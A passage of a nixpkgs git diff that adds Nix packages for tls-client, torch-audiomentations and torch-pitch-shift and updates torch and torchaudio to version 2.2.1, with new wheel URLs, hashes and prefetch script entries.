huggingface-hub pyyaml diff --git a/pkgs/development/python-modules/tls-client/default.nix b/pkgs/development/python-modules/tls-client/default.nix new file mode 100644 index 0000000000000..77e7a2f3e55c1 --- /dev/null +++ b/pkgs/development/python-modules/tls-client/default.nix @@ -0,0 +1,45 @@ +{ lib +, buildPythonPackage +, fetchFromGitHub +, setuptools +, typing-extensions +, pythonOlder +}: + +buildPythonPackage rec { + pname = "tls-client"; + version = "1.0.1"; + pyproject = true; + + disabled = pythonOlder "3.7"; + + src = fetchFromGitHub { + owner = "FlorianREGAZ"; + repo = "Python-Tls-Client"; + rev = "refs/tags/${version}"; + hash = "sha256-0eH9fA/oQzrgXcQilUdg4AaTqezj1Q9hP9olhZEDeBc="; + }; + + nativeBuildInputs = [ + setuptools + ]; + + propagatedBuildInputs = [ + typing-extensions + ]; + + # Module has no tests + doCheck = false; + + pythonImportsCheck = [ + "tls_client" + ]; + + meta = with lib; { + description = "Advanced HTTP Library"; + homepage = "https://github.com/FlorianREGAZ/Python-Tls-Client"; + changelog = "https://github.com/FlorianREGAZ/Python-Tls-Client/releases/tag/${version}"; + license = licenses.mit; + maintainers = with maintainers; [ fab ]; + }; +} diff --git a/pkgs/development/python-modules/torch-audiomentations/default.nix b/pkgs/development/python-modules/torch-audiomentations/default.nix new file mode 100644 index 0000000000000..5a849752586be --- /dev/null +++ b/pkgs/development/python-modules/torch-audiomentations/default.nix @@ -0,0 +1,46 @@ +{ lib +, buildPythonPackage +, fetchFromGitHub +, setuptools +, wheel +, julius +, librosa +, torch +, torchaudio +, torch-pitch-shift +}: + +buildPythonPackage rec { + pname = "torch-audiomentations"; + version = "0.11.1"; + pyproject = true; + + src = fetchFromGitHub { + owner = "asteroid-team"; + repo = "torch-audiomentations"; + rev = "refs/tags/v${version}"; + hash = "sha256-0+5wc+mP4c221q6mdaqPalfumTOtdnkjnIPtLErOp9E="; + }; + + propagatedBuildInputs = [ + julius + librosa + torch + torchaudio + torch-pitch-shift + ]; + + nativeBuildInputs = [ + setuptools + wheel + ]; + + pythonImportsCheck = [ "torch_audiomentations" ]; + + meta = with lib; { + description = "Fast audio data augmentation in PyTorch. Inspired by audiomentations. Useful for deep learning"; + homepage = "https://github.com/asteroid-team/torch-audiomentations"; + license = licenses.mit; + maintainers = with maintainers; [ matthewcroughan ]; + }; +} diff --git a/pkgs/development/python-modules/torch-pitch-shift/default.nix b/pkgs/development/python-modules/torch-pitch-shift/default.nix new file mode 100644 index 0000000000000..2d9aa146abb9a --- /dev/null +++ b/pkgs/development/python-modules/torch-pitch-shift/default.nix @@ -0,0 +1,44 @@ +{ lib +, buildPythonPackage +, fetchFromGitHub +, setuptools +, wheel +, packaging +, primepy +, torch +, torchaudio +}: + +buildPythonPackage rec { + pname = "torch-pitch-shift"; + version = "1.2.4"; + pyproject = true; + + src = fetchFromGitHub { + owner = "KentoNishi"; + repo = "torch-pitch-shift"; + rev = "v${version}"; + hash = "sha256-s3z+6jOGC7RfF9TzVZ9HFbIFz2BsBm6Yhx7lgaEKv6o="; + }; + + nativeBuildInputs = [ + setuptools + wheel + ]; + + propagatedBuildInputs = [ + packaging + primepy + torch + torchaudio + ]; + + pythonImportsCheck = [ "torch_pitch_shift" ]; + + meta = with lib; { + description = "Pitch-shift audio clips quickly with PyTorch (CUDA supported)! Additional utilities for searching efficient transformations are included"; + homepage = "https://github.com/KentoNishi/torch-pitch-shift"; + license = licenses.mit; + maintainers = with maintainers; [ matthewcroughan ]; + }; +} diff --git a/pkgs/development/python-modules/torch/bin.nix b/pkgs/development/python-modules/torch/bin.nix index bea1769439a08..0bb415574e392 100644 --- a/pkgs/development/python-modules/torch/bin.nix +++ b/pkgs/development/python-modules/torch/bin.nix @@ -24,7 +24,7 @@ let pyVerNoDot = builtins.replaceStrings [ "." ] [ "" ] python.pythonVersion; srcs = import ./binary-hashes.nix version; unsupported = throw "Unsupported system"; - version = "2.2.0"; + version = "2.2.1"; in buildPythonPackage { inherit version; diff --git a/pkgs/development/python-modules/torch/binary-hashes.nix b/pkgs/development/python-modules/torch/binary-hashes.nix index ef4386142900b..0fd4a5b36e4d8 100644 --- a/pkgs/development/python-modules/torch/binary-hashes.nix +++ b/pkgs/development/python-modules/torch/binary-hashes.nix @@ -6,86 +6,86 @@ # To add a new version, run "prefetch.sh 'new-version'" to paste the generated file as follows. version : builtins.getAttr version { - "2.2.0" = { + "2.2.1" = { x86_64-linux-38 = { - name = "torch-2.2.0-cp38-cp38-linux_x86_64.whl"; - url = "https://download.pytorch.org/whl/cu121/torch-2.2.0%2Bcu121-cp38-cp38-linux_x86_64.whl"; - hash = "sha256-on2vBAW5JDWXlcOaWnP/MRUYgNY/ZePwBRwi+bs7Ix4="; + name = "torch-2.2.1-cp38-cp38-linux_x86_64.whl"; + url = "https://download.pytorch.org/whl/cu121/torch-2.2.1%2Bcu121-cp38-cp38-linux_x86_64.whl"; + hash = "sha256-OIDrgRsT+PGl/DKC5FVnS5qfpnOrJW8GOOK09JUlFsM="; }; x86_64-linux-39 = { - name = "torch-2.2.0-cp39-cp39-linux_x86_64.whl"; - url = "https://download.pytorch.org/whl/cu121/torch-2.2.0%2Bcu121-cp39-cp39-linux_x86_64.whl"; - hash = "sha256-ccYx+u1TWJYdL6WCo3Dh0p+L7GT8Autv9vTrLFas/YU="; + name = "torch-2.2.1-cp39-cp39-linux_x86_64.whl"; + url = "https://download.pytorch.org/whl/cu121/torch-2.2.1%2Bcu121-cp39-cp39-linux_x86_64.whl"; + hash = "sha256-HLN5h0E455jAK0GWLdnU7AsGOoykWlEJfzJmFUd8m9A="; }; x86_64-linux-310 = { - name = "torch-2.2.0-cp310-cp310-linux_x86_64.whl"; - url = "https://download.pytorch.org/whl/cu121/torch-2.2.0%2Bcu121-cp310-cp310-linux_x86_64.whl"; - hash = "sha256-xEECFnLr4uWvvbNIF6qF5tMhMPlN8tqa1Mt4qdS4E3A="; + name = "torch-2.2.1-cp310-cp310-linux_x86_64.whl"; + url = "https://download.pytorch.org/whl/cu121/torch-2.2.1%2Bcu121-cp310-cp310-linux_x86_64.whl"; + hash = "sha256-Gt9DDwH/ZJyEisAheF4YAHsHFP3eaOTmW9DGQL8/uOE="; }; x86_64-linux-311 = { - name = "torch-2.2.0-cp311-cp311-linux_x86_64.whl"; - url = "https://download.pytorch.org/whl/cu121/torch-2.2.0%2Bcu121-cp311-cp311-linux_x86_64.whl"; - hash = "sha256-C8Wa5xUo8KYBPxsBZw8DnMbQGyztenIZyhbuGUwwURY="; + name = "torch-2.2.1-cp311-cp311-linux_x86_64.whl"; + url = "https://download.pytorch.org/whl/cu121/torch-2.2.1%2Bcu121-cp311-cp311-linux_x86_64.whl"; + hash = "sha256-I7souoAPJanTPVF2i/X976AiDLxc2aF/ItKkJig1lGg="; }; x86_64-darwin-38 = { - name = "torch-2.2.0-cp38-none-macosx_10_9_x86_64.whl"; - url = "https://download.pytorch.org/whl/cpu/torch-2.2.0-cp38-none-macosx_10_9_x86_64.whl"; - hash = "sha256-n6S6LDDsKUolu0t6FaegYSDTqub4+N50A5G9ZSOcgAY="; + name = "torch-2.2.1-cp38-none-macosx_10_9_x86_64.whl"; + url = "https://download.pytorch.org/whl/cpu/torch-2.2.1-cp38-none-macosx_10_9_x86_64.whl"; + hash = "sha256-YXaFhegqmdxcQZM759ucoGf6451F/r1RA8yKBNUkSRg="; }; x86_64-darwin-39 = { - name = "torch-2.2.0-cp39-none-macosx_10_9_x86_64.whl"; - url = "https://download.pytorch.org/whl/cpu/torch-2.2.0-cp39-none-macosx_10_9_x86_64.whl"; - hash = "sha256-jTTFeq04rJJTWsryl8vuYDbwMZKGxgJnpKBz4fwWlxg="; + name = "torch-2.2.1-cp39-none-macosx_10_9_x86_64.whl"; + url = "https://download.pytorch.org/whl/cpu/torch-2.2.1-cp39-none-macosx_10_9_x86_64.whl"; + hash = "sha256-o6OqT5rSqLjnLBqElA2MWd1O7SkbyytgOta1hJgwYvU="; }; x86_64-darwin-310 = { - name = "torch-2.2.0-cp310-none-macosx_10_9_x86_64.whl"; - url = "https://download.pytorch.org/whl/cpu/torch-2.2.0-cp310-none-macosx_10_9_x86_64.whl"; - hash = "sha256-Ux4YihpeLVzqPX+bbqviXwOT9k5mTJj26LIYdfIFT5M="; + name = "torch-2.2.1-cp310-none-macosx_10_9_x86_64.whl"; + url = "https://download.pytorch.org/whl/cpu/torch-2.2.1-cp310-none-macosx_10_9_x86_64.whl"; + hash = "sha256-531ee2Cn4cI0XGSC/4dvNqDwQ+a+Mu9Y2sQWxKoOOyg="; }; x86_64-darwin-311 = { - name = "torch-2.2.0-cp311-none-macosx_10_9_x86_64.whl"; - url = "https://download.pytorch.org/whl/cpu/torch-2.2.0-cp311-none-macosx_10_9_x86_64.whl"; - hash = "sha256-yCp8ENobrFoxlWhnHce7+PexfFUfwjPlqAgDurnvDQQ="; + name = "torch-2.2.1-cp311-none-macosx_10_9_x86_64.whl"; + url = "https://download.pytorch.org/whl/cpu/torch-2.2.1-cp311-none-macosx_10_9_x86_64.whl"; + hash = "sha256-lkeM9Oc3ADBZee0cp2tTVTbUYvMDAqNe3Rzu4MPYB9M="; }; aarch64-darwin-38 = { - name = "torch-2.2.0-cp38-none-macosx_11_0_arm64.whl"; - url = "https://download.pytorch.org/whl/cpu/torch-2.2.0-cp38-none-macosx_11_0_arm64.whl"; - hash = "sha256-TCrIfQcXzbYqkUJTTPCFmFHvONk6KC6dyRUYETp6gDM="; + name = "torch-2.2.1-cp38-none-macosx_11_0_arm64.whl"; + url = "https://download.pytorch.org/whl/cpu/torch-2.2.1-cp38-none-macosx_11_0_arm64.whl"; + hash = "sha256-fX1aq00JspIgKXkbacgDq6HAWcYP9lYj8ddFgMFHvUw="; }; aarch64-darwin-39 = { - name = "torch-2.2.0-cp39-none-macosx_11_0_arm64.whl"; - url = "https://download.pytorch.org/whl/cpu/torch-2.2.0-cp39-none-macosx_11_0_arm64.whl"; - hash = "sha256-xZuzd7T6xt4wZrqPFZuWAEWLCcwyo/Y9ADDbmVpR/qk="; + name = "torch-2.2.1-cp39-none-macosx_11_0_arm64.whl"; + url = "https://download.pytorch.org/whl/cpu/torch-2.2.1-cp39-none-macosx_11_0_arm64.whl"; + hash = "sha256-uQZpsWKYTjAvvQXJwnDveW5GeQOUTs76dFe6vpYRYH4="; }; aarch64-darwin-310 = { - name = "torch-2.2.0-cp310-none-macosx_11_0_arm64.whl"; - url = "https://download.pytorch.org/whl/cpu/torch-2.2.0-cp310-none-macosx_11_0_arm64.whl"; - hash = "sha256-kApUIX2bUP0RIVXO11+JCB8jyFqlmLX+A8ng2gDlOSc="; + name = "torch-2.2.1-cp310-none-macosx_11_0_arm64.whl"; + url = "https://download.pytorch.org/whl/cpu/torch-2.2.1-cp310-none-macosx_11_0_arm64.whl"; + hash = "sha256-Ur3sHiLQg4L9mNttK/F6KU0P1TJgz9ZPuHRDSSy6xrQ="; }; aarch64-darwin-311 = { - name = "torch-2.2.0-cp311-none-macosx_11_0_arm64.whl"; - url = "https://download.pytorch.org/whl/cpu/torch-2.2.0-cp311-none-macosx_11_0_arm64.whl"; - hash = "sha256-qbGvT92jsrSCTl8SMz19vSJ5EwJBWGly2WrOuYtErJs="; + name = "torch-2.2.1-cp311-none-macosx_11_0_arm64.whl"; + url = "https://download.pytorch.org/whl/cpu/torch-2.2.1-cp311-none-macosx_11_0_arm64.whl"; + hash = "sha256-zNmEmw3TcKmBPd3kenf0OciqzOAi5LoL+TZRc9WAgJY="; }; aarch64-linux-38 = { - name = "torch-2.2.0-cp38-cp38-manylinux_2_17_aarch64.manylinux2014_aarch64.whl"; - url = "https://download.pytorch.org/whl/cpu/torch-2.2.0-cp38-cp38-manylinux_2_17_aarch64.manylinux2014_aarch64.whl"; - hash = "sha256-pfl3K7le+v2QbeaDEEryMB7xhgjQx/Ny/xpaYb95K4g="; + name = "torch-2.2.1-cp38-cp38-manylinux_2_17_aarch64.manylinux2014_aarch64.whl"; + url = "https://download.pytorch.org/whl/cpu/torch-2.2.1-cp38-cp38-manylinux_2_17_aarch64.manylinux2014_aarch64.whl"; + hash = "sha256-y4ThL9QAXHh/zkDto96sBCmPWQY0iRBixM2yzywUIiE="; }; aarch64-linux-39 = { - name = "torch-2.2.0-cp39-cp39-manylinux_2_17_aarch64.manylinux2014_aarch64.whl"; - url = "https://download.pytorch.org/whl/cpu/torch-2.2.0-cp39-cp39-manylinux_2_17_aarch64.manylinux2014_aarch64.whl"; - hash = "sha256-5tJVCovq33nOSCcaoqKBF16RowZf7ThdKouYAsKnRNs="; + name = "torch-2.2.1-cp39-cp39-manylinux_2_17_aarch64.manylinux2014_aarch64.whl"; + url = "https://download.pytorch.org/whl/cpu/torch-2.2.1-cp39-cp39-manylinux_2_17_aarch64.manylinux2014_aarch64.whl"; + hash = "sha256-7g90adoiGNyHlIV1DaF6JF3DaRbi+cX8CDbkz1cq0H0="; }; aarch64-linux-310 = { - name = "torch-2.2.0-cp310-cp310-manylinux_2_17_aarch64.manylinux2014_aarch64.whl"; - url = "https://download.pytorch.org/whl/cpu/torch-2.2.0-cp310-cp310-manylinux_2_17_aarch64.manylinux2014_aarch64.whl"; - hash = "sha256-GeiXY73Z3wv145Ri6UEMYSp6Rq/3LqKFuXkprCBFEj8="; + name = "torch-2.2.1-cp310-cp310-manylinux_2_17_aarch64.manylinux2014_aarch64.whl"; + url = "https://download.pytorch.org/whl/cpu/torch-2.2.1-cp310-cp310-manylinux_2_17_aarch64.manylinux2014_aarch64.whl"; + hash = "sha256-8BgwAuGJeNWYw+6JGcLmSCAsf+u5CIFRVshmxSTEo1k="; }; aarch64-linux-311 = { - name = "torch-2.2.0-cp311-cp311-manylinux_2_17_aarch64.manylinux2014_aarch64.whl"; - url = "https://download.pytorch.org/whl/cpu/torch-2.2.0-cp311-cp311-manylinux_2_17_aarch64.manylinux2014_aarch64.whl"; - hash = "sha256-TYGa0jWR4M2KPAt0DYTqrm/QmSjPLK3OveiuYFrC24s="; + name = "torch-2.2.1-cp311-cp311-manylinux_2_17_aarch64.manylinux2014_aarch64.whl"; + url = "https://download.pytorch.org/whl/cpu/torch-2.2.1-cp311-cp311-manylinux_2_17_aarch64.manylinux2014_aarch64.whl"; + hash = "sha256-fyaXQWtneZbuHzCyZ2qKlN3b44ijXDYdyG6RW9pHt9o="; }; }; } diff --git a/pkgs/development/python-modules/torch/default.nix b/pkgs/development/python-modules/torch/default.nix index 899b692c47edc..d6c51904bd9df 100644 --- a/pkgs/development/python-modules/torch/default.nix +++ b/pkgs/development/python-modules/torch/default.nix @@ -8,7 +8,7 @@ magma-hip, magma-cuda-static, # Use the system NCCL as long as we're targeting CUDA on a supported platform. - useSystemNccl ? (cudaSupport && !cudaPackages.nccl.meta.unsupported), + useSystemNccl ? (cudaSupport && !cudaPackages.nccl.meta.unsupported || rocmSupport), MPISupport ? false, mpi, buildDocs ? false, @@ -127,7 +127,7 @@ let in buildPythonPackage rec { pname = "torch"; # Don't forget to update torch-bin to the same version. - version = "2.2.0"; + version = "2.2.1"; pyproject = true; disabled = pythonOlder "3.8.0"; @@ -145,7 +145,7 @@ in buildPythonPackage rec { repo = "pytorch"; rev = "refs/tags/v${version}"; fetchSubmodules = true; - hash = "sha256-FfFjgx6yrPEQlF8CLglsWq+zWGr6MD4z0F+lYoy6grc="; + hash = "sha256-6z8G5nMbGHbpA+xfmOR726h9E4N9NoEtaFgcYE0DuUE="; }; patches = lib.optionals cudaSupport [ diff --git a/pkgs/development/python-modules/torchaudio/bin.nix b/pkgs/development/python-modules/torchaudio/bin.nix index edde12213bc6e..863fdc920a485 100644 --- a/pkgs/development/python-modules/torchaudio/bin.nix +++ b/pkgs/development/python-modules/torchaudio/bin.nix @@ -17,7 +17,7 @@ buildPythonPackage rec { pname = "torchaudio"; - version = "2.2.0"; + version = "2.2.1"; format = "wheel"; src = diff --git a/pkgs/development/python-modules/torchaudio/binary-hashes.nix b/pkgs/development/python-modules/torchaudio/binary-hashes.nix index 14b7400562c3d..eda82094c5111 100644 --- a/pkgs/development/python-modules/torchaudio/binary-hashes.nix +++ b/pkgs/development/python-modules/torchaudio/binary-hashes.nix @@ -6,86 +6,86 @@ # To add a new version, run "prefetch.sh 'new-version'" to paste the generated file as follows. version : builtins.getAttr version { - "2.2.0" = { + "2.2.1" = { x86_64-linux-38 = { - name = "torchaudio-2.2.0-cp38-cp38-linux_x86_64.whl"; - url = "https://download.pytorch.org/whl/cu121/torchaudio-2.2.0%2Bcu121-cp38-cp38-linux_x86_64.whl"; - hash = "sha256-POcebL/QW1zrKI53MKygCOElGQn4PB5XRUV50q4UnCo="; + name = "torchaudio-2.2.1-cp38-cp38-linux_x86_64.whl"; + url = "https://download.pytorch.org/whl/cu121/torchaudio-2.2.1%2Bcu121-cp38-cp38-linux_x86_64.whl"; + hash = "sha256-XU/trqM3W8hQ+9kI6G1b+GAbp9eCPFId6+jY3lwiZYg="; }; x86_64-linux-39 = { - name = "torchaudio-2.2.0-cp39-cp39-linux_x86_64.whl"; - url = "https://download.pytorch.org/whl/cu121/torchaudio-2.2.0%2Bcu121-cp39-cp39-linux_x86_64.whl"; - hash = "sha256-OpwwHNjLB7E3gI6JextkysqRA1kMrQ7GtCNRNmqdwas="; + name = "torchaudio-2.2.1-cp39-cp39-linux_x86_64.whl"; + url = "https://download.pytorch.org/whl/cu121/torchaudio-2.2.1%2Bcu121-cp39-cp39-linux_x86_64.whl"; + hash = "sha256-LQScsJsPn+EE0goKRwIW/Fzo+SW9SYVuZYDi2Vn1syg="; }; x86_64-linux-310 = { - name = "torchaudio-2.2.0-cp310-cp310-linux_x86_64.whl"; - url = "https://download.pytorch.org/whl/cu121/torchaudio-2.2.0%2Bcu121-cp310-cp310-linux_x86_64.whl"; - hash = "sha256-2zy3mq2qPvY/+WjwqyRXaBrU+fRYwq+NZXnx1K/2Yys="; + name = "torchaudio-2.2.1-cp310-cp310-linux_x86_64.whl"; + url = "https://download.pytorch.org/whl/cu121/torchaudio-2.2.1%2Bcu121-cp310-cp310-linux_x86_64.whl"; + hash = "sha256-I/YjZCniv2drgg6OciGh1YqvkIv/K6JmWqhS33GpeWE="; }; x86_64-linux-311 = { - name = "torchaudio-2.2.0-cp311-cp311-linux_x86_64.whl"; - url = "https://download.pytorch.org/whl/cu121/torchaudio-2.2.0%2Bcu121-cp311-cp311-linux_x86_64.whl"; - hash = "sha256-d3FY1g5mBPiYWqffYx+m1L8vvmvkWCc3f4pQsuQqZCU="; + name = "torchaudio-2.2.1-cp311-cp311-linux_x86_64.whl"; + url = "https://download.pytorch.org/whl/cu121/torchaudio-2.2.1%2Bcu121-cp311-cp311-linux_x86_64.whl"; + hash = "sha256-YJACsObf9ED81qY9FcA8PTdOIU56iqYcLvSlKLpkTDk="; }; x86_64-darwin-38 = { - name = "torchaudio-2.2.0-cp38-cp38-macosx_10_9_x86_64.whl"; - url = "https://download.pytorch.org/whl/cpu/torchaudio-2.2.0-cp38-cp38-macosx_10_13_x86_64.whl"; - hash = "sha256-xcsLSJaxB/TR5zR84pY8m7d9JI6KnbWIYWTsobO6Ygo="; + name = "torchaudio-2.2.1-cp38-cp38-macosx_10_9_x86_64.whl"; + url = "https://download.pytorch.org/whl/cpu/torchaudio-2.2.1-cp38-cp38-macosx_10_13_x86_64.whl"; + hash = "sha256-ge+I12k+O5kAfR7nQv2Buakjmey/iOt+1plJRDAF/7o="; }; x86_64-darwin-39 = { - name = "torchaudio-2.2.0-cp39-cp39-macosx_10_9_x86_64.whl"; - url = "https://download.pytorch.org/whl/cpu/torchaudio-2.2.0-cp39-cp39-macosx_10_13_x86_64.whl"; - hash = "sha256-MdDGWy+jfACwxYL8Kstppyt/9wuBoXVNkAfVYv8UOIA="; + name = "torchaudio-2.2.1-cp39-cp39-macosx_10_9_x86_64.whl"; + url = "https://download.pytorch.org/whl/cpu/torchaudio-2.2.1-cp39-cp39-macosx_10_13_x86_64.whl"; + hash = "sha256-Azn+eO2cKfcEKWdhsouwVbU1BiX/UDrXgXBDl5NOa1g="; }; x86_64-darwin-310 = { - name = "torchaudio-2.2.0-cp310-cp310-macosx_10_9_x86_64.whl"; - url = "https://download.pytorch.org/whl/cpu/torchaudio-2.2.0-cp310-cp310-macosx_10_13_x86_64.whl"; - hash = "sha256-WeVoNs0r6BlAzrrNP07jd5xLeDeKPmGUVEbad8FjhLQ="; + name = "torchaudio-2.2.1-cp310-cp310-macosx_10_9_x86_64.whl"; + url = "https://download.pytorch.org/whl/cpu/torchaudio-2.2.1-cp310-cp310-macosx_10_13_x86_64.whl"; + hash = "sha256-WA7v12SgGmTVtqomDAxHl0vmppZIktVAKac7F/RhH80="; }; x86_64-darwin-311 = { - name = "torchaudio-2.2.0-cp311-cp311-macosx_10_9_x86_64.whl"; - url = "https://download.pytorch.org/whl/cpu/torchaudio-2.2.0-cp311-cp311-macosx_10_13_x86_64.whl"; - hash = "sha256-lx7enoSIqLhdZySgWGw4KGSHA9gFBU9dEnXTIGDBeUk="; + name = "torchaudio-2.2.1-cp311-cp311-macosx_10_9_x86_64.whl"; + url = "https://download.pytorch.org/whl/cpu/torchaudio-2.2.1-cp311-cp311-macosx_10_13_x86_64.whl"; + hash = "sha256-J0y4R0vB5Wt2jvNH0xiGYcWp1eaOLfVvwK/xHMc8kWo="; }; aarch64-darwin-38 = { - name = "torchaudio-2.2.0-cp38-cp38-macosx_11_0_arm64.whl"; - url = "https://download.pytorch.org/whl/cpu/torchaudio-2.2.0-cp38-cp38-macosx_11_0_arm64.whl"; - hash = "sha256-DQOCmhh+yJOzJT0Rgq8LW+Cak61flOHo3r9iaeHH3NY="; + name = "torchaudio-2.2.1-cp38-cp38-macosx_11_0_arm64.whl"; + url = "https://download.pytorch.org/whl/cpu/torchaudio-2.2.1-cp38-cp38-macosx_11_0_arm64.whl"; + hash = "sha256-9Ien0xd65q8BZ1CFDuk3iOiAIYoaMQvGx2kB4hL5HNM="; }; aarch64-darwin-39 = { - name = "torchaudio-2.2.0-cp39-cp39-macosx_11_0_arm64.whl"; - url = "https://download.pytorch.org/whl/cpu/torchaudio-2.2.0-cp39-cp39-macosx_11_0_arm64.whl"; - hash = "sha256-+xBG66mjt/Z2L2o35EMw3GyWJVAdpL676viWzqQG8tc="; + name = "torchaudio-2.2.1-cp39-cp39-macosx_11_0_arm64.whl"; + url = "https://download.pytorch.org/whl/cpu/torchaudio-2.2.1-cp39-cp39-macosx_11_0_arm64.whl"; + hash = "sha256-aLHZ+P/psm7wToDYKuLcL3Sxoetkw+itIbUlgCs7x6w="; }; aarch64-darwin-310 = { - name = "torchaudio-2.2.0-cp310-cp310-macosx_11_0_arm64.whl"; - url = "https://download.pytorch.org/whl/cpu/torchaudio-2.2.0-cp310-cp310-macosx_11_0_arm64.whl"; - hash = "sha256-3Ej5ZswZc6jVipaGM15ResAN2unNe1kpFqBLd0me8rs="; + name = "torchaudio-2.2.1-cp310-cp310-macosx_11_0_arm64.whl"; + url = "https://download.pytorch.org/whl/cpu/torchaudio-2.2.1-cp310-cp310-macosx_11_0_arm64.whl"; + hash = "sha256-itVcIGmye74Y4UeDogLj8/gIL+nlkoFDa6eX7bD8lNU="; }; aarch64-darwin-311 = { - name = "torchaudio-2.2.0-cp311-cp311-macosx_11_0_arm64.whl"; - url = "https://download.pytorch.org/whl/cpu/torchaudio-2.2.0-cp311-cp311-macosx_11_0_arm64.whl"; - hash = "sha256-aoRSKkjUYF5C9o5XKcCw6jxaYEyXqjTxC4FH7QEO7gc="; + name = "torchaudio-2.2.1-cp311-cp311-macosx_11_0_arm64.whl"; + url = "https://download.pytorch.org/whl/cpu/torchaudio-2.2.1-cp311-cp311-macosx_11_0_arm64.whl"; + hash = "sha256-HmLCexdnLMK92WY2geUzAA+cCYTmoPPUVfcFG8AFuwI="; }; aarch64-linux-38 = { - name = "torchaudio-2.2.0-cp38-cp38-manylinux2014_aarch64.whl"; - url = "https://download.pytorch.org/whl/torchaudio-2.2.0-cp38-cp38-linux_aarch64.whl"; - hash = "sha256-GWWTv0PlA/EP+MHGCvqXS19Qtc6yKddAXM7Ke11WAhY="; + name = "torchaudio-2.2.1-cp38-cp38-manylinux2014_aarch64.whl"; + url = "https://download.pytorch.org/whl/cpu/torchaudio-2.2.1-cp38-cp38-linux_aarch64.whl"; + hash = "sha256-pEYrPyFPYLa4944SpM8Skcm8NT3u1wmsPf3tvtUTp6M="; }; aarch64-linux-39 = { - name = "torchaudio-2.2.0-cp39-cp39-manylinux2014_aarch64.whl"; - url = "https://download.pytorch.org/whl/torchaudio-2.2.0-cp39-cp39-linux_aarch64.whl"; - hash = "sha256-hA64ZbBkfvHBd/fv7hSt0k2vUGKntOSZR/uY1KuZBmM="; + name = "torchaudio-2.2.1-cp39-cp39-manylinux2014_aarch64.whl"; + url = "https://download.pytorch.org/whl/cpu/torchaudio-2.2.1-cp39-cp39-linux_aarch64.whl"; + hash = "sha256-yy2girt7aNx7AQV0ixpzbdMzKfhBN0AT7ALFTgS+3yk="; }; aarch64-linux-310 = { - name = "torchaudio-2.2.0-cp310-cp310-manylinux2014_aarch64.whl"; - url = "https://download.pytorch.org/whl/torchaudio-2.2.0-cp310-cp310-linux_aarch64.whl"; - hash = "sha256-1OoJS4cho2GYLbBi7pk/Km9x3+FvYqhPiQCyNk8zouQ="; + name = "torchaudio-2.2.1-cp310-cp310-manylinux2014_aarch64.whl"; + url = "https://download.pytorch.org/whl/cpu/torchaudio-2.2.1-cp310-cp310-linux_aarch64.whl"; + hash = "sha256-uRa3dkaYupMZqjslUZE5iS3oZl2EQ4lpusXh2FeMahE="; }; aarch64-linux-311 = { - name = "torchaudio-2.2.0-cp311-cp311-manylinux2014_aarch64.whl"; - url = "https://download.pytorch.org/whl/torchaudio-2.2.0-cp311-cp311-linux_aarch64.whl"; - hash = "sha256-m+GMogoMLoygtjOIcRQIPJKMleRUhwsdbqjP4FmCzsk="; + name = "torchaudio-2.2.1-cp311-cp311-manylinux2014_aarch64.whl"; + url = "https://download.pytorch.org/whl/cpu/torchaudio-2.2.1-cp311-cp311-linux_aarch64.whl"; + hash = "sha256-ILKWXbT4QwIWNvU9P6sQdcP4lZxFDGR2KRJNJMfmy7A="; }; }; } diff --git a/pkgs/development/python-modules/torchaudio/default.nix b/pkgs/development/python-modules/torchaudio/default.nix index 7f81a044f0ebf..73aec87cca611 100644 --- a/pkgs/development/python-modules/torchaudio/default.nix +++ b/pkgs/development/python-modules/torchaudio/default.nix @@ -15,14 +15,14 @@ buildPythonPackage rec { pname = "torchaudio"; - version = "2.2.0"; + version = "2.2.1"; pyproject = true; src = fetchFromGitHub { owner = "pytorch"; repo = "audio"; rev = "refs/tags/v${version}"; - hash = "sha256-Z6Xc8bR6bqBHyzWfoB3F33YZEwzuvXByB6s1kSer1DY="; + hash = "sha256-ejgxWVIkusGi7zwg3nyAHHdjEPrFaS1TN7nN+PpSgOE="; }; patches = [ diff --git a/pkgs/development/python-modules/torchaudio/prefetch.sh b/pkgs/development/python-modules/torchaudio/prefetch.sh index c0be5710121b2..89422ff7c65e0 100755 --- a/pkgs/development/python-modules/torchaudio/prefetch.sh +++ b/pkgs/development/python-modules/torchaudio/prefetch.sh @@ -7,47 +7,47 @@ version=$1 linux_cuda_version="cu121" linux_cuda_bucket="https://download.pytorch.org/whl/${linux_cuda_version}" -linux_cpu_bucket="https://download.pytorch.org/whl" +linux_cpu_bucket="https://download.pytorch.org/whl/cpu" darwin_bucket="https://download.pytorch.org/whl/cpu" url_and_key_list=( - "x86_64-linux-38 $linux_cuda_bucket/torchaudio-${version}%2B${linux_cuda_version}-cp38-cp38-linux_x86_64.whl torchaudio-${version}-cp38-cp38-linux_x86_64.whl" - "x86_64-linux-39 $linux_cuda_bucket/torchaudio-${version}%2B${linux_cuda_version}-cp39-cp39-linux_x86_64.whl torchaudio-${version}-cp39-cp39-linux_x86_64.whl" - "x86_64-linux-310 $linux_cuda_bucket/torchaudio-${version}%2B${linux_cuda_version}-cp310-cp310-linux_x86_64.whl torchaudio-${version}-cp310-cp310-linux_x86_64.whl" - "x86_64-linux-311 $linux_cuda_bucket/torchaudio-${version}%2B${linux_cuda_version}-cp311-cp311-linux_x86_64.whl torchaudio-${version}-cp311-cp311-linux_x86_64.whl" - "x86_64-darwin-38 $darwin_bucket/torchaudio-${version}-cp38-cp38-macosx_10_13_x86_64.whl torchaudio-${version}-cp38-cp38-macosx_10_9_x86_64.whl" - "x86_64-darwin-39 $darwin_bucket/torchaudio-${version}-cp39-cp39-macosx_10_13_x86_64.whl torchaudio-${version}-cp39-cp39-macosx_10_9_x86_64.whl" - "x86_64-darwin-310 $darwin_bucket/torchaudio-${version}-cp310-cp310-macosx_10_13_x86_64.whl torchaudio-${version}-cp310-cp310-macosx_10_9_x86_64.whl" - "x86_64-darwin-311 $darwin_bucket/torchaudio-${version}-cp311-cp311-macosx_10_13_x86_64.whl torchaudio-${version}-cp311-cp311-macosx_10_9_x86_64.whl" - "aarch64-darwin-38 $darwin_bucket/torchaudio-${version}-cp38-cp38-macosx_11_0_arm64.whl torchaudio-${version}-cp38-cp38-macosx_11_0_arm64.whl" - "aarch64-darwin-39 $darwin_bucket/torchaudio-${version}-cp39-cp39-macosx_11_0_arm64.whl torchaudio-${version}-cp39-cp39-macosx_11_0_arm64.whl" - "aarch64-darwin-310 $darwin_bucket/torchaudio-${version}-cp310-cp310-macosx_11_0_arm64.whl torchaudio-${version}-cp310-cp310-macosx_11_0_arm64.whl" - "aarch64-darwin-311 $darwin_bucket/torchaudio-${version}-cp311-cp311-macosx_11_0_arm64.whl torchaudio-${version}-cp311-cp311-macosx_11_0_arm64.whl" - "aarch64-linux-38 